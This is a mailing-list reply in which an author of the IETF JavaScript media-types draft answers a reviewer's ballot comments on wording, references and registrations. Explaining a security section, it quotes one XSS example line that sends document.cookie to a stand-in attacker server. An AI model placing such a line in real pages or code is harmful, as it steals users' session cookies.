Re: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT)

[Mathias Bynens <[e-mail]>]

Thanks for the review! Replies inline.

On Thu, Jan 6, 2022 at 1:00 AM Benjamin Kaduk via Datatracker <
[e-mail]> wrote:

> Benjamin Kaduk has entered the following ballot position for
> draft-ietf-dispatch-javascript-mjs-13: No Objection
>
> When responding, please keep the subject line intact and reply to all
> email addresses included in the To and CC lines. (Feel free to cut this
> introductory paragraph, however.)
>
>
> Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/
> for more information about how to handle DISCUSS and COMMENT positions.
>
>
> The document, along with other ballot positions, can be found here:
> https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/
>
>
>
> ----------------------------------------------------------------------
> COMMENT:
> ----------------------------------------------------------------------
>
> Section 3
>
>    This document does not define how fragment identifiers in resource
>    identifiers ([RFC3986], [RFC3987]) for documents labeled with one of
>    the media types defined in this document are resolved.  An update of
>    this document may define processing of fragment identifiers.
>
> This section is the "modules" section; the disclaimer of specification of
> fragment handling seems to apply to both script and module content, and
> thus
> to be misplaced in this section.
>

Thanks. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.


> Section 5
>
>    Module scripts in ECMAScript can request the fetching and processing
>    of additional scripts, called importing.  Implementations that
>    support modules need to process imported sources in the same way as
>    scripts.  Further, there may be additional privacy and security
>    concerns depending on the location(s) the original script and its
>    imported modules are obtained from.  For instance, a script obtained
>    from "host-a.example" could request to import a script from "host-
>    b.example", which could expose information about the executing
>    environment (e.g., IP address) to "host-b.example".  See the section
>    "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details.
>
> Is the referenced "ECMAScript Language: Scripts and Modules" section
> supposed to be providing more details on the importing process, or the
> potential privacy and security concerns?  I skimmed through it and found
> nothing noteworthy on the latter, which suggests that perhaps the former
> was
> intended.  If that's the case, then reordering the sentences within the
> paragraph might be helpful.
>

Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.

   This circumstance can further be used to make information, that is
>    normally only available to the script, available to a web server by
>    encoding the information in the resource identifier of the resource,
>    which can further enable eavesdropping attacks.  Implementation of
>    such facilities is subject to the security considerations of the host
>    environment, as discussed above.
>
> What does "the resource" refer to, here?  I don't see a previous mention of
> a resource that it would be referring to.  Is it perhaps a resource that's
> the target of a request to the web server that is receiving the information
> in question?
>

It refers to for example, URLs, that can be constructed and requested using
JavaScript/DOM APIs on the Web as part of an XSS attack
<https://owasp.org/www-community/attacks/xss/>:

    'https://hacker-controlled-server.example.com/log-cookie-data?cookie='
+ document.cookie;

This content is inherited as-is from RFC4329; we’d rather not make changes
to it as it’s outside the scope of our proposed changes.

Section 7.1
>
> It's pretty surprising to see a normative dependency on RFC 4329 when we
> claim to obsolete that document.
>

Note that the registrations intentionally refer to both the new doc and RFC
4329:

   Person & email address to contact for further information:  See
      Author's Address section of [this document] and [RFC4329].

Happy to make changes if needed but given the above, the normative
reference seems unsurprising to me.


> Appendix B
>
> Looking at the diff from RFC 4329, I also see some text about handling
> application/ecmascript content that has a "version" parameter to the media
> type, that seems to have been removed entirely for this document.  Is that
> sufficiently noteworthy to be included in this change listing?
>

This falls under the list item “Updated various references where the
original has been obsoleted.” which is already listed under the “Changes
from RFC 4329” section.

The "version" parameter refers to the following old RFC 4329 note:

   For the
   application/ecmascript media type, implementations MUST NOT process
   content labeled with a "version" parameter as if no such parameter
   had been specified; this is typically achieved by treating the
   content as unsupported.

This does not match implementation reality, and Web browsers cannot
implement this restriction without Breaking the Web:
https://mathiasbynens.be/demo/javascript-mime-type The "version" parameter
is just ignored in practice, like any other unspecified parameter, so there
is no need to include any text about it.

NITS
>
> Section 5
>
>    The programming language defined in [ECMA-262] is not intended to be
>    computationally self-sufficient, rather it is expected that the
>    computational environment provides facilities to programs to enable
>    specific functionality.  [...]
>
> The comma usage seems off here.  I'm not sure if the sentence overall
> contains a comma splice or not, but probably there should be a comma after
> "rather" regardless of whether the first comma is converted to
> semicolon/full-stop or otherwise.
>

Good catch. Addressed in
https://github.com/linuxwolf/bmeck-ids/pull/62/files.


> Section 6
>
>    application/ecmascript" is to be removed.  IANA is requested to add
>    the note "OBSOLETED in favor of text/javascript" to all registrations
>    except "text/javascript".
>
> Presumably this is "all registrations listed in this document", not "all
> registrations in the registry"...
>

Indeed. That applies to the rest of the sentence as well, e.g. "All
registrations will point to this document as reference.".


> Section 6.2.x
>
> I extracted the various subsections and used diff to compare them.
> Aside from the expected variation in type/subtype name and file extension
> (.es vs .js), there is also variation in:
>
> - whether there is a full stop at the end of the "Change controller" line
>

Good catch! Fixed.


> - some have the "Person & email address to contact for further information"
>   listing both this document and RFC 4329, but most just list this
> document.
>

Fixed.


> - text/livescript does not have a note about this registration applying to
>   later editions of [ECMA-262]; perhaps that's appropriate for the
>   livescript media type.
>

I’ve made this consistent for all registrations in the document. Your nits
helped me find a few other inconsistencies that I’ve addressed as well.

Thanks,
Mathias